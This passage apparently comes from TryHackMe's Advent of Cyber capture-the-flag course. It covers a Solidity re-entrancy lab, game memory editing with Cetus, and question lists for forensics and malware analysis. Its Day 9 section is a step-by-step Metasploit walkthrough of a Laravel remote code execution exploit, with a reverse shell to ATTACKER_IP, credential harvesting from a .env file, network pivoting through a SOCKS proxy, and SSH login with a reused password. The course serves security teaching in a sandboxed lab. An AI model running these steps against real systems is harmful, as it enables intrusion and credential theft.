      At first glance, this may seem fine, but when is the amount to be sent subtracted from the balance? Referring back to the contract diagram, it is only ever deducted from the balance after the Ethereum is sent. Is this an issue? The function should finish before the contract can process any other functions. But if you recall, a contract can consecutively make new calls to a function while an old function is still executing. An attacker can continuously attempt to call the withdraw function before it can clear the balance; this means that the pre-defined conditions will always be met. A developer must modify the function's logic to remove the balance before another call can be made or require stricter requirements to be met.

      The Re-entrancy Attack

      In the above section, we informally introduced a common vulnerability known as re-entrancy. Reiterating what was covered above, re-entrancy occurs when a malicious contract uses a fallback function to continue depleting a contract's total balance due to flawed logic after an initial withdraw function occurs.

      We have broken up the attack into diagrams similar to previously seen to explain this better.

      Assuming that contract B is the attacking contract and contract A is the storage contract. Contract B will execute a function to deposit, then withdraw at least one Ether. This process is required to initiate the withdraw function's response.


      Note the difference between account balance and total balance in the above diagram. The storage contract separates balances per account and keeps each account's total balance combined. We are specifically targeting the total balance we do not own to exploit the contract.


      At this point, contract B can either drop the response from the withdraw function or invoke a fallback function. A fallback function is a reserved function in solidity that can appear once in a single contract. The function is executed when currency is sent with no other context or data, for example, what is happening in this example. The fallback function calls the withdraw function again, while the original call to the function was never fully resolved. Remember, the balance is never set back to zero, and the contract thinks of Ether as its total balance when sending it, not divided into each account, so it will continue to send currency beyond the account's balance until the total balance is zero.


      Because the withdraw function sends Ether with no context or data, the fallback function will be called again, and thus an infinite loop can now occur.

      Now that we have covered how this vulnerability occurs and how we can exploit it let's put it to the test! We have provided you with the contract deployed by Best Festival Company in a safe and controlled environment that allows you to deploy contracts as if they were on a public blockchain.

      Practical Application

      We have covered almost all of the background information needed to hit the ground running; let’s try our hand at actively exploiting a contract prone to a re-entrancy vulnerability. For this task, we will use Remix IDE, which offers a safe and controlled environment to test and deploy contracts as if they were on a public blockchain.

      We have provided you with two files, one gathered from the Best Festival Company used to host their cryptocurrency balance and another malicious contract that will attempt to exploit the re-entrancy vulnerability.

      Both contracts are legitimate Solidity contracts, but no need to worry if you do not understand the program syntax behind each. They follow the same functionality and methodology we covered throughout this task, just translated to code!

      Getting Familiar with the Remix Environment

      When you first open remix, you want to draw your attention to the left side; there will be a file explorer, search, Solidity compiler, and deployment navigation button, respectively, from top to bottom. We will spend most of our time in the deploy & run transactions menu as it allows us to select from an environment, account, and contract and interact with contracts we have compiled.

      Importing the Necessary Contracts

      To get started with the task, you will need to import the task files provided to you. To do this, navigate to file explorer → default_workspace → load a local file into the current workspace. From here, you can select the necessary .sol files to be imported. We have provided you with an EtherStore.sol and Attack.sol file that functions as we introduced in this section.

      Compiling the Contracts

      The next step is compiling the contracts; each must be compiled individually before deployment. To compile a contract,

      1. Open the contract in the primary text editor in Remix - this lets Remix know which contract you want to compile.
      2. Navigate to the solidity compiler, and select 0.8.10+commitfcxxxxxx from the dropdown compiler menu.
      3. Compile the contract by pressing the compile button. You can ignore any warnings you may receive when compiling.

      Deploying and Interacting with Contracts

      Now that we have the contracts compiled, they are ready to be deployed from the deployment tab. To the right is a screenshot of the deployment tab and labels that we will use to reference menu elements as we move throughout the deployment process.

      First, we must select a contract for deployment from the contract dropdown (label 6). We should deploy the EtherStore contract or target contract to begin. For deployment, you only need to press the deploy button (label 7).

      We can now interact with the contract underneath the deployed contracts subsection. To test the contract, we can deposit Ether into the contract to be added to the total balance. To deposit, insert a value in the value textbox (label 4) and select the currency denomination at the dropdown under label 5. Once setup is complete, you can deposit by pressing the deposit button (label 10).

      Note: when pressing the deposit button, this is a public function we are calling just as if it were another contract calling the function externally.

      We’ve now successfully deployed our first contract and used it! You should see the Balance update (label 9).

      Now that we have deployed our first contract, switch to a different account (dropdown label 2 and select a new account) and repeat the same process. This time you will be exploiting the original contract and should see the exploit actively occur! We have provided a summary of the steps to deploy and interact with the contract below.

      Step 1: Select the contract you want to deploy from the contract dropdown menu under label 6.

      Step 2: Deploy the contract by pressing the deploy button.

      Note: you need to provide a reference to the contract you are targeting before deploying the attack contract. To accomplish this, copy the address for EtherStore using the button to the right of label 11 and paste the value in the text box under label 8.

      Step 3: Confirm the contract was deployed and the attack function can be seen from the deployed contracts subsection.

      Step 4: Execute and/or interact with the contract’s function; note that most functions require some form of value input to execute a function properly.

      Note: When inputting an Ether amount keep the amounts at small numbers, i.e., 2 - 4. Remix uses the resources of the host device, and the attack relies on recursion, which can be known to keep resources and result in application crashes.

      If you get stuck, re-read through the discovery and explanation of the re-entrancy vulnerability. Recall that it must first deposit and withdraw before the fallback function can occur.

      Answer the questions below

      1. If not already completed, download the zip folder attached to this task, and open Remix in your preferred browser.
      2. What flag is found after attacking the provided EtherStore Contract?

      3. Are you up for a little challenge to celebrate Day 8? Try your hand at these easy challenge rooms: Quotient and Agent T! 

      Task 14: [Day 9] Pivoting Dock the halls

                             The Story

      Check out Alh4zr3d's video walkthrough for Day 9 here!

      Today's task was created by the Metasploit Team at Rapid7.


      Because of the recent incident, Santa has asked his team to set up a new web application that runs on Docker. It's supposed to be much more secure than the previous one, but better safe than sorry, right? It's up to you, McSkidy, to show Santa that there may be hidden weaknesses before the bad guys find them!

      A note before you start

      Hey,

      This task is a bit more complex than what you have seen so far in the event. We’ve ensured the task content has all the information you need. However, as there are many moving parts to getting it to work, it might prove challenging. Worry not! We have plenty of resources to help you out.

      Linked above is a video walkthrough of the challenge, recorded by Alh4zr3d. It includes a thorough explanation, comprehensive instruction, valuable hints, analogies, and a complete guide to answering all the questions. Use it!

      If you need more, visit us on Discord! We have a dedicated channel for Advent of Cyber, with staff on call and a very supportive community to help with all your questions and doubts.

      You got this! See you tomorrow - Elf McSkidy will need your help more than ever.

      With love,

      The TryHackMe Team

      Learning Objectives

      • Using Metasploit modules and Meterpreter to compromise systems
      • Network Pivoting
      • Post exploitation

      Concepts

      What is Docker?

      Docker is a way to package applications, and the associated dependencies into a single unit called an image. This image can then be shared and run as a container, either locally as a developer or remotely on a production server. Santa’s web application and database are running in Docker containers, but only the web application is directly available via an exposed port. A common way to tell if a compromised application is running in a Docker container is to verify the existence of a /.dockerenv file at the root directory of the filesystem.

      What is Metasploit?

      Metasploit is a powerful penetration testing tool for gaining initial access to systems, performing post-exploitation, and pivoting to other applications and systems. Metasploit is free, open-source software owned by the US-based cybersecurity firm Rapid7.

      What is a Metasploit session?

      After successfully exploiting a remote target with a Metasploit module, a session is often opened by default. These sessions are often Command Shells or Meterpreter sessions, which allow for executing commands against the target. It’s also possible to open up other session types in Metasploit, such as SSH or WinRM - which do not require payloads.

      The common Metasploit console commands for viewing and manipulating sessions in Metasploit are:

      Metasploit Console Commands
                 # view sessions
      sessions
      
      # upgrade the last opened session to Meterpreter
      sessions -u -1
      
      # interact with a session
      sessions -i session_id
      
      # Background the currently interactive session, and go back to the Metasploit prompt
      background
              

      What is Meterpreter?

      Meterpreter is an advanced payload that provides interactive access to a compromised system. Meterpreter supports running commands on a remote target, including uploading/downloading files and pivoting.

      Meterpreter has multiple useful commands, such as the following:

      Meterpreter Commands
                 # Get information about the remote system, such as OS
      sysinfo
      
      # Upload a file or directory
      upload local_file.txt
      
      # Display interfaces
      ipconfig
      
      # Resolve a set of host names on the target to IP addresses - useful for pivoting
      resolve remote_service1 remote_service2
              

      Note that normal command shells do not support complex operations such as pivoting. In Metasploit’s console, you can upgrade the last opened Metasploit session to a Meterpreter session with sessions -u -1.

      You can identify the opened session types with the sessions command. If you are currently interacting with a Meterpreter session, you must first background it. In the below example, the two session types are shell cmd/unix and meterpreter x86/linux:

      Meterpreter Commands
                 msf6 exploit(multi/php/ignition_laravel_debug_rce) > sessions
      
      Active sessions
      ===============
      
        Id  Name  Type                   Information                                        Connection
        --  ----  ----                   -----------                                        ----------
        4         shell cmd/unix                                                            10.11.8.17:4444 -> 10.10.152.194:44124 (10.10.152.194)
        5         meterpreter x86/linux  www-data @ 172.28.101.50                           10.11.8.17:4433 -> 10.10.152.194:33296 (172.28.101.50)
              

      What is Pivoting?

      Once an attacker gains initial entry into a system, the compromised machine can be used to send additional web traffic through - allowing previously inaccessible machines to be reached.

      For example - an initial foothold could be gained through a web application running in a docker container or through an exposed port on a Windows machine. This system will become the attack launchpad for other systems in the network.

      We can route network traffic through this compromised machine to run network scanning tools such as nmap or arp to find additional machines and services which were previously inaccessible to the pentester. This concept is called network pivoting.


      Launching The TryHackMe Kali Linux

      For this task, you need to be using a Kali machine. TryHackMe host and provide a version of Kali Linux that is controllable in your browser. You can also connect with your own Kali Linux using OpenVPN. Tha Kali VM is accessible by subscribers only - if you are not a subscriber, you can perform this challenge using OpenVPN. 

      You can deploy the TryHackMe Kali Machine by following the steps below:

      1. Scroll to the top of the page and press the drop-down arrow on the right of the blue "Start AttackBox" button:


      2. Select "Use Kali Linux" from the drop-down:


      3. Now press the "Start Kali" button to deploy the machine:


      4. The machine will open in a split-screen view:


      Using Metasploit

      If you are using the Web-based Kali machine or your own Kali machine, you can open Metasploit with the following msfconsole command:

      Shell commands
                 $ msfconsole
      Metasploit Framework console...
        +-------------------------------------------------------+
        |  METASPLOIT by Rapid7                                 |
        +---------------------------+---------------------------+
        |      __________________   |                           |
        |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
        |             )=           | |  EXPLOIT               |
        |            // \          | |____________________    |
        |           //   \         | |==[msf >]============   |
        |          //     \        | |______________________  |
        |         // RECON \       | (@)(@)(@)(@)(@)(@)(@)/   |
        |        //         \      |  *********************    |
        +---------------------------+---------------------------+
        |      o O o                |        '///'/         |
        |              o O          |         )======(          |
        |                 o         |       .'  LOOT  '.        |
        | |^^^^^^^^^^^^^^|l___      |      /    _||__          |
        | |    PAYLOAD     |""___, |     /    (_||_           |
        | |________________|__|)__| |    |     __||_)     |     |
        | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
        |  = = = = = = = = = = = =  |     '--------------'      |
        +---------------------------+---------------------------+
      
      
             =[ metasploit v6.2.27-dev-4c958546b5               ]
      + -- --=[ 2264 exploits - 1189 auxiliary - 404 post       ]
      + -- --=[ 948 payloads - 45 encoders - 11 nops            ]
      + -- --=[ 9 evasion                                       ]
      
      Metasploit tip: View advanced module options with advanced
      Metasploit Documentation: https://docs.metasploit.com/
      
      msf6 >
              

      After msfconsole is opened, there are multiple commands available:

      Metasploit Console Commands
                 # To search for a module, use the ‘search’ command:
      msf6 > search laravel
      
      # Load a module with the ‘use’ command
      msf6 > use multi/php/ignition_laravel_debug_rce
      
      # view the information about the module, including the module options, description, CVE details, etc
      msf6 exploit(multi/php/ignition_laravel_debug_rce) > info
              

      After using a Metasploit module, you can view the options, set options, and run the module:

      Metasploit Console Commands
                 # View the available options to set
      show options
      
      # Set the target host and logging
      set rhost MACHINE_IP
      set verbose true
      
      # Set the payload listening address; this is the IP address of the host running Metasploit
      set lhost LISTEN_IP
      
      # show options again
      show options
      
      # Run or check the module
      check
      run
              

      You can also directly set options from the run command:

      Metasploit Console Commands
                 msf6 > use admin/postgres/postgres_sql
      msf6 auxiliary(admin/postgres/postgres_sql) > run postgres://user:password@MACHINE_IP/database_name sql='select version()'
      [*] Running module against 172.28.101.51
      
      Query Text: 'select version()'
      ==============================
      
          version
          -------
          PostgreSQL 10.5 on x86_64-pc-linux-musl, compiled by gcc (Alpine 6.4.0) 6.4.0, 64-bit
      
      [*] Auxiliary module execution completed
              

      Using Meterpreter to pivot

      Metasploit has an internal routing table that can be modified with the route command. This routing table determines where to send network traffic through, for instance, through a Meterpreter session. This way, we are using Meterpreter to pivot: sending traffic through to other machines on the network.

      Note that Meterpreter has a separate route command, which is not the same as the top-level Metasploit prompt's route command described below. If you are currently interacting with a Meterpreter session, you must first background it.

      Examples:

      Metasploit Console Commands
                 # Example usage
      route [add/remove] subnet netmask [comm/sid]
      
      # Configure the routing table to send packets destined for 172.17.0.1 to the latest opened session
      route add 172.17.0.1/32 -1
      
      # Configure the routing table to send packets destined for 172.28.101.48/29 subnet to the latest opened session
      route add 172.28.10.48/29 -1
      
      # Output the routing table
      route print
              

      Socks Proxy

      A socks proxy is an intermediate server that supports relaying networking traffic between two machines. This tool allows you to implement the technique of pivoting. You can run a socks proxy either locally on a pentester’s machine via Metasploit, or directly on the compromised server. In Metasploit, this can be achieved with the auxiliary/server/socks_proxy module:

      Metasploit Console Commands
                 use auxiliary/server/socks_proxy
      run srvhost=127.0.0.1 srvport=9050 version=4a
              

      Tools such as curl support sending requests through a socks proxy server via the --proxy flag:

      Shell commands
                 curl --proxy socks4a://localhost:9050 http://MACHINE_IP
              

      If the tool does not natively support an option for using a socks proxy, ProxyChains can intercept the tool’s request to open new network connections and route the request through a socks proxy instead. For instance, an example with Nmap:

      Shell commands
                 proxychains -q nmap -n -sT -Pn -p 22,80,443,5432 MACHINE_IP
              

      Challenge Walkthrough

      After deploying the attached VM, run Nmap against the target:

      Shell commands
                 nmap -T4 -A -Pn MACHINE_IP
      Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 10:30 EDT
      Nmap scan report for 10.10.173.133
      Host is up (0.031s latency).
      Not shown: 998 closed tcp ports (conn-refused)
      PORT   STATE SERVICE VERSION
      80/tcp open  http    Apache httpd 2.4.54 ((Debian))
      |_http-title: Curabitur aliquet, libero id suscipit semper
      |_http-server-header: Apache/2.4.54 (Debian)
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
              

      After loading the web application in our browser at http://MACHINE_IP:80 (use Firefox on the Kali web-Machine) and inspecting the Network tab, we can see that the server responds with an HTTP Set-Cookie header indicating that the server is running Laravel - a common web application development framework:

      The application may be vulnerable to a remote code execution exploit which impacts Laravel applications using debug mode with Laravel versions before 8.4.2, which use ignite as a developer dependency.

      We can use Metasploit to verify if the application is vulnerable to this exploit.

      Note: be sure to set the HttpClientTimeout=20, or the check may fail. In extreme situations where your connection is really slow/unstable, you may need a value higher than 20 seconds.

      Shell commands
                 $ msfconsole
      msf6 > use multi/php/ignition_laravel_debug_rce
      [*] Using configured payload cmd/unix/reverse_bash
      msf6 exploit(multi/php/ignition_laravel_debug_rce) > check rhost=MACHINE_IP HttpClientTimeout=20
      
      [*] Checking component version to 10.10.143.36:80
      [*] 10.10.143.36:80 - The target appears to be vulnerable.
              

      Note: When using TryHackMe's Kali Web-Machine - you should use eth0 as the LHOST value (ATTACKER_IP), and not the VPN IP shown in the Kali Machine at the top-right corner (which is tun0).

      To find out what IP address you need to use, you can open up a new terminal and enter ip addr. The IP address you need will start with 10.x.x.x. Remember, you will either need to use eth0 or tun0, depending on whether or not you are using the TryHackMe Kali Web-Machine.

      Using ip addr to list the interfaces corresponding IP address in Kali
                 kali@kali:~$ ip addr
      2: eth0:  mtu 9001 qdisc mq state UP group default qlen 1000
          link/ether 02:cd:41:12:70:5d brd ff:ff:ff:ff:ff:ff
          inet 10.9.11.45/16 brd 10.10.255.255 scope global dynamic eth0
             valid_lft 2973sec preferred_lft 2973sec
          inet6 fe80::cd:41ff:fe12:705d/64 scope link
             valid_lft forever preferred_lft forever
              

      Now that we’ve confirmed the vulnerability, let’s run the module to open a new session:

      Metasploit Console Commands
                 msf6 exploit(multi/php/ignition_laravel_debug_rce) > run rhost=MACHINE_IP lhost=ATTACKER_IP HttpClientTimeout=20
      
      [*] Started reverse TCP handler on 10.9.0.185:4444
      [*] Running automatic check ("set AutoCheck false" to disable)
      [*] Checking component version to 10.10.143.36:80
      [+] The target appears to be vulnerable.
      [*] Command shell session 1 opened (10.9.0.185:4444 -> 10.10.143.36:53986) at 2022-09-13 11:55:50 -0400
      whoami
      
      www-data
              

      The opened shell will be a basic cmd/unix/reverse_bash shell. We can see this by running the background command and viewing the currently active sessions:

      Metasploit Console Commands
                 background
      
      Background session 1? [y/N]  y
      msf6 exploit(multi/php/ignition_laravel_debug_rce) > sessions
      
      Active sessions
      ===============
      
        Id  Name  Type            Information  Connection
        --  ----  ----            -----------  ----------
        1         shell cmd/unix               10.9.0.185:4444 -> 10.10.143.36:53986 (10.10.143.36)
              

      If you are currently in a session - you can run the background command to go back to the top-level Metasploit prompt. To upgrade the most recently opened session to Meterpreter, use the sessions -u -1 command. Metasploit will now show two sessions opened - one for the original shell session and another for the new Meterpreter session:

      Metasploit Console Commands
                 msf6 exploit(multi/php/ignition_laravel_debug_rce) > sessions -u -1
      [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [-1]
      
      [*] Upgrading session ID: 1
      [*] Starting exploit/multi/handler
      [*] Started reverse TCP handler on 10.9.0.185:4433
      [*] Sending stage (989032 bytes) to 10.10.143.36
      [*] Meterpreter session 2 opened (10.9.0.185:4433 -> 10.10.143.36:51132) at 2022-09-13 12:02:51 -0400
      [*] Command stager progress: 100.00% (773/773 bytes)
      msf6 exploit(multi/php/ignition_laravel_debug_rce) > sessions
      
      Active sessions
      ===============
      
        Id  Name  Type                   Information               Connection
        --  ----  ----                   -----------               ----------
        1         shell cmd/unix                                   10.9.0.185:4444 -> 10.10.143.36:53986 (10.10.143.36)
        2         meterpreter x86/linux  www-data @ 172.28.101.50  10.9.0.185:4433 -> 10.10.143.36:51132 (172.28.101.50)
              

      After interacting with the Meterpreter session with sessions -i -1 and exploring the application, we can see there are database credentials available:

      Meterpreter Commands
                 meterpreter > cat /var/www/.env
      # ...
      
      DB_CONNECTION=pgsql
      DB_HOST=webservice_database
      DB_PORT=5432
      DB_DATABASE=....
      DB_USERNAME=...
      DB_PASSWORD=...
              

      We can use Meterpreter to resolve this remote hostname to an IP address that we can use for attacking purposes:

      Meterpreter Commands
                 meterpreter > resolve webservice_database
      
      Host resolutions
      ================
      
          Hostname             IP Address
          --------             ----------
          webservice_database  172.28.101.51
              

      As this is an internal IP address, it won’t be possible to send traffic to it directly. We can instead leverage the network pivoting support within msfconsole to reach the inaccessible host. To configure the global routing table in msfconsole, ensure you have run the background command from within a Meterpreter session:

      Metasploit Console Commands
                 # The discovered webserice_database IP will be routed to through the Meterpreter session
      msf6 exploit(multi/php/ignition_laravel_debug_rce) > route add 172.28.101.51/32 -1
      [*] Route added
              

      We can also see, due to the presence of the /.dockerenv file, that we are in a docker container. By default, Docker chooses a hard-coded IP to represent the host machine. We will also add that to our routing table for later scanning:

      Metasploit Console Commands
                 msf6 exploit(multi/php/ignition_laravel_debug_rce) > route add 172.17.0.1/32 -1
      [*] Route added
              

      We can print the routing table to verify the configuration settings:

      Metasploit Console Commands
                 msf6 exploit(multi/php/ignition_laravel_debug_rce) > route print
      
      IPv4 Active Routing Table
      =========================
      
         Subnet             Netmask            Gateway
         ------             -------            -------
         172.17.0.1         255.255.255.255    Session 3
         172.28.101.51      255.255.255.255    Session 3
      
      
      [*] There are currently no IPv6 routes defined.
              

      With the previously discovered database credentials and the routing table configured, we can start to run Metasploit modules that target Postgres. Starting with a schema dump, followed by running queries to select information out of the database:

      Metasploit Console Commands
                 # Dump the schema
      use auxiliary/scanner/postgres/postgres_schemadump
      run postgres://postgres:postgres@172.28.101.51/postgres
      
      # Select information from a specific table
      use auxiliary/admin/postgres/postgres_sql
      run postgres://postgres:postgres@172.28.101.51/postgres sql='select * from users'
              

      To further pivot through the private network, we can create a socks proxy within Metasploit:

      Metasploit Console Commands
                 msf6 > use auxiliary/server/socks_proxy
      msf6 auxiliary(server/socks_proxy) > run srvhost=127.0.0.1 srvport=9050 version=4a
      [*] Auxiliary module running as background job 1.
      
      [*] Starting the SOCKS proxy server
              

      This will expose a port on the attacker machine that can be used to run other network tools through, such as curl or proxychains

      Shell commands
                 # From the attacker’s host machine, we can use curl with the internal Docker IP to show that the web application is running, and the socks proxy works
      $ curl --proxy socks4a://localhost:9050 http://172.17.0.1 -v
      
      … etc …
      
      # From the attacker’s host machine, we can use ProxyChains to scan the compromised host machine for common ports
      $ proxychains -q nmap -n -sT -Pn -p 22,80,443,5432 172.17.0.1
      Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-24 08:48 EDT
      Nmap scan report for 172.17.0.1
      Host is up (0.069s latency).
      
      PORT     STATE  SERVICE
      22/tcp   open   ssh
      80/tcp   open   http
      443/tcp  closed https
      5432/tcp closed postgresql
      
      Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
              

      With the host scanned, we can see that port 22 is open on the host machine. It also is possible that Santa has re-used his password, and it’s possible to SSH into the host machine from the Docker container to grab the flag:

      Metasploit Console Commands
                 msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/ssh/ssh_login
      msf6 auxiliary(scanner/ssh/ssh_login) > run ssh://santa_username_here:santa_password_here@172.17.0.1
      
      [*] 172.17.0.1:22 - Starting bruteforce
      [+] 172.17.0.1:22 - Success: 'santa_username_here:santa_password_here' 'uid=0(root) gid=0(root) groups=0(root) Linux hostname 4.15.0-156-generic #163-Ubuntu SMP Thu Aug 19 23:31:58 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux '
      [*] SSH session 4 opened (10.11.8.17-10.10.152.194:55634 -> 172.17.0.1:22) at 2022-11-22 02:49:43 -0500
      [*] Scanned 1 of 1 hosts (100% complete)
      [*] Auxiliary module execution completed
      msf6 auxiliary(scanner/ssh/ssh_login) > sessions
      
      Active sessions
      ===============
      
        Id  Name  Type                   Information               Connection
        --  ----  ----                   -----------               ----------
        1         shell cmd/unix                                   10.11.8.17:4444 -> 10.10.152.194:44140 (10.10.152.194)
        2         meterpreter x86/linux  www-data @ 172.28.101.50  10.11.8.17:4433 -> 10.10.152.194:33312 (172.28.101.50)
        3         shell linux            SSH kali @                10.11.8.17-10.10.152.194:55632 -> 172.17.0.1:22 (172.17.0.1)
      
      msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i -1
      [*] Starting interaction with 3...
      
      mesg: ttyname failed: Inappropriate ioctl for device
      ls /root
      root.txt
      cat /root/root.txt
      THM{...}
      
              

      Answer the questions below

      1. Deploy the attached VM, and wait a few minutes. What ports are open?
      2. What framework is the web application developed with?

      3. What CVE is the application vulnerable to?

      4. What command can be used to upgrade the last opened session to a Meterpreter session?

      5. What file indicates a session has been opened within a Docker container?

      6. What file often contains useful credentials for web applications?

      7. What database table contains useful credentials?

      8. What is Santa's password?

      9. What ports are open on the host machine?

      10. What is the root flag?

      11. Day 9 is done! You might want to take a well-deserved rest now. If this challenge was right up your alley, though, we think you might enjoy the Compromising Active Directory module! 

      Task 15: [Day 10] Hack a game You're a mean one, Mr. Yeti

                             The Story

      Check out Alh4zr3d's video walkthrough for Day 10 here!


      Santa's team have done well so far. The elves, blue and red combined, have been securing everything technological all around. The Bandit Yeti, unable to hack a thing, decided to go for eldritch magic as a last resort and trapped Elf McSkidy in a video game during her sleep. When the rest of the elves woke up, their leader was nowhere to be found until Elf Recon McRed noticed one of their screens, where Elf McSkidy's pixelated figure could be seen. By the screen, an icy note read: "Only by winning the unwinnable game shall your dear Elf McSkidy be reclaimed".

      Without their chief, the elves started running in despair. How could they run a SOC without its head? The game was rigged, and try after try, the elves would lose, no matter what. As struck by lightning, Elf Exploit McRed stood up from his chair and said to the others: "If we can't win it, we'll hack it!".


      Learning Objectives

      • Learn how data is stored in memory in games or other applications.
      • Use simple tools to find and alter data in memory.
      • Explore the effects of changing data in memory on a running game.

      The Memory of a Program

      Whenever we execute a program, all data will be processed somehow through the computer's RAM (Random Access Memory). If you think of a videogame, your HP, position, movement speed and direction are all stored somewhere in memory and updated as needed as the game goes. 



      If you can modify the relevant memory positions, you could trick the game into thinking you have more HP than you should or even a higher score! This sounds relatively easy, but a program's memory space is vast and sparse, and finding the location where these variables are stored is nothing you'd want to do by hand. Hopefully, some tools will help us navigate memory and find where all the juicy information is at.

      Be sure to hit the Start Lab Machine button before continuing. The machine will start in a split-screen view. In case the VM is not visible, use the blue Show Split View button at the top-right of the page. All you need for this challenge is available in the deployable machine. If you prefer to do so, however, you can download and install Cetus on your own machine by downloading it from here.

      The Mighty Cetus

      Cetus is a simple browser plugin that works for Firefox and Chrome, allowing you to explore the memory space of Web Assembly games that run in your browser. The main idea behind it is to provide you with the tools to easily find any piece of data stored in memory and modify it if needed. On top of that, it will let you modify a game's compiled code and alter its behaviours if you want, although we won't need to go that deep for this task.

      Cetus is already installed on Chrome in your deployed machine, so you can use it straight away for the rest of the task. If you find the game runs slowly when using the in-browser machine, you can always install Cetus on your machine and do the task from there, following the indications given below.

      Installing Cetus on Firefox (Click to read)

      Installing Cetus on Firefox 

      To run Cetus on Firefox, you will need to load it as a temporary extension since it isn't available on the add-ons website. To do this, open Firefox and type about:debugging in the address bar. Once in there, go to This Firefox, where you'll find a button to load temporary add-ons. Temporary add-ons will only be loaded for as long as the browser remains open, so you'll need to load it again if you close it for some reason:

      To load the extension, you will need to browse to the directory where you downloaded and extracted Cetus and select the manifest.json file inside the main folder and click OK:

      Now we are ready to save Elf McSkidy!

      Installing Cetus on Chrome (Click to read)

      Installing Cetus on Chrome

      To install Cetus on Chrome, type chrome://extensions in your address bar. This will take you to the extensions manager. You will need to enable the Developer mode, enabling additional buttons to load the extension. Click the Load unpacked button and point to the directory where you uncompressed the plugin.


      This will open an explorer window where you'll need to go to the directory where Cetus was uncompressed, and press the Open button from there without selecting any file:

      Once you are done, you should see Cetus loaded in your extensions:


      Accessing Cetus

      To open the game, go to your deployed machine and click the "Save Elf McSkidy" icon on the desktop. This will open Google Chrome with Cetus already loaded for you.


      To find Cetus, you need to open the Developer tools by clicking the button on the upper-right corner of Chrome, as shown in the figure below:


      Cetus is located in one of the tabs there:


      With Cetus open, hit the refresh button to reload the game. If you installed Cetus on your machine, you can find the game at https://MACHINE_IP/. Cetus should detect the web assembly game running and show you the available tools:


      Note: If Cetus shows the "Waiting for WASM" message, just reload the game, and the tools should load.

      Guess the Guard's Number

      If you walk around the game, you will find that the guard won't let you leave unless you guess a randomly generated number. At some point, the game must store this number in memory. Cetus will allow us to pinpoint the random number's memory address quickly.

      As a first step, talk to the guard and try to guess the number randomly. You probably won't guess it first try, but take note of the guard's number.


      You can use Cetus to find all the memory addresses used by the game that match the given value. In this case, the guard's number is probably a regular integer, so we choose i32 (32-bit integer) in Value Type.

      Cetus also allows you to search for numbers with decimals (usually called floats), represented by the f32 and f64 types, and for strings encoded in ascii, utf-8 or bytes. You need to specify the data type as part of your search because, for your computer, the values 32 (integer) and 32.0 (float) are stored in different formats in memory.

      We will use the EQ comparison operator, which will search for memory addresses which content is equal to the value we input. Note that you can also search values using any of the other available operators. For reference, this is what other operators do:

      OperatorDescription
      EQFind all memory addresses with contents that are equal to our inputted value.
      NEFind all memory addresses with contents that are not equal to our inputted value.
      LTFind all memory addresses with contents that are lower than our inputted value.
      GTFind all memory addresses with contents that are greater than our inputted value.
      LTEFind all memory addresses with contents that are lower than or equal to our inputted value.
      GTEFind all memory addresses with contents that are greater than or equal to our inputted value.

      Since the guard uses a random number, you will likely find the memory address on the first try. Once you do, click the bookmark button on the right of the memory address:


      You can then go to bookmarks to see your memory addresses:


      Note that Cetus uses hexadecimal notation to show you the numbers. If you need to convert the shown numbers to decimal, you can use this website.

      With Cetus on the bookmarks tab, talk to the guard again and notice how the random number changes immediately. You can now guess the number:


      Convert the number from hexadecimal to get the guard's number (0x005c9d35 = 6069557). You defeated the guard (sort of)!

      Note: You can also modify the memory address containing the random number from the bookmarks tab. Try restarting the game and changing the guard's number right before the guard asks you for your number. You should now be able to change the guard's number at will!

      Getting through the bridge

      You are now out of your cell, but you still have to overcome some obstacles. Can you figure out how?

      While you are wondering what other data in memory could be changed to survive the bridge, Elf Recon McRed tells you that he read about differential search. Differential Search, he said, allows you to run successive searches in tandem, where each search will be scoped over the results of the last search only instead of the whole memory space. Elf Recon thinks this might be of help somehow.

      To help you better understand, he used the following example: suppose you want to find an address in memory, but you are not sure of the exact value it contains, but you can, however, manipulate it somehow by doing some actions in the game (you could manipulate the value of your position by moving, for example). Instead of doing a direct search by value as before, you can use differential search to look for memory positions based on specific variations on the value, rather than the value itself.

      To start the differential search mode, your first search needs to be done with an empty value.  

      This will return the total number of memory addresses mapped by the game, which is 458753 in the image above. Now, suppose you want to know which memory addresses have decreased since the last search. You can run a second search using the LT operator without setting a value to search:

      The result above tells us that only 44 memory positions of the total of 458753 have decreased in value since the last search. You can of course, continue to do successive searches. For example, if you now wanted to know which of the 44 resulting memory addresses from the first search have increased their value, you could simply do another search with the GT operator with no value again.

      The result tells us that from the 44 memory addressed from the last search, only 26 have increased in value. If you are searching for a particular value, you can continue to do more searches until you find the memory address you are trying to get.

      Armed with this knowledge, can you identify any parameters you'd like to search on memory to allow you to cross the bridge? The elves surely hope you do, as getting McSkidy out of the game now depends on you!

      Answer the questions below

      1. What is the Guard's flag?
      2. What is the Yeti's flag?

      3. If you liked today's challenge, the Walking an Application room is an excellent follow-up! 

      Task 16: [Day 11] Memory Forensics Not all gifts are nice

      Answer the questions below

      1. What is the Windows version number that the memory image captured?

        Note: this initial scan may take up towards 10 minutes to complete. Why not grab some water or stretch your legs?
      2. What is the name of the binary/gift that secret Santa left?

      3. What is the Process ID (PID) of this binary?

      4. Dump the contents of this binary. How many files are dumped?

      5. If you want to learn more about Volatility, please check out a dedicated room here. For more content on forensics, we have a full Digital Forensics and Incident Response module for you! 

      Task 17: [Day 12] Malware Analysis Forensic McBlue to the REVscue!

      Answer the questions below

      1. What is the architecture of the malware sample? (32-bit/64-bit)
      2. What is the packer used in the malware sample? (format: lowercase)

      3. What is the compiler used to build the malware sample? (format: lowercase)

      4. How many MITRE ATT&CK techniques have been discovered attributed to the DISCOVERY tactic?

      5. What is the registry key abused by the malware?

      6. What is the value written on the registry key based on the previous question?

      7. What are the names of two files created by the malware under the C:\Users\Administrator\ directory? (format: file1,file2 in alphabetical order)

      8. What are the two domains wherein malware has initiated a network connection? (format: domain1,domain2 in alphabetical order)

      9. Going back to strings inside the malware sample, what is the complete URL used to download the file hosted in the first domain accessed by the malware?

      10. If you enjoyed malware analysis, try the Intro to Malware Analysis or Dissecting PE Headers rooms next! 

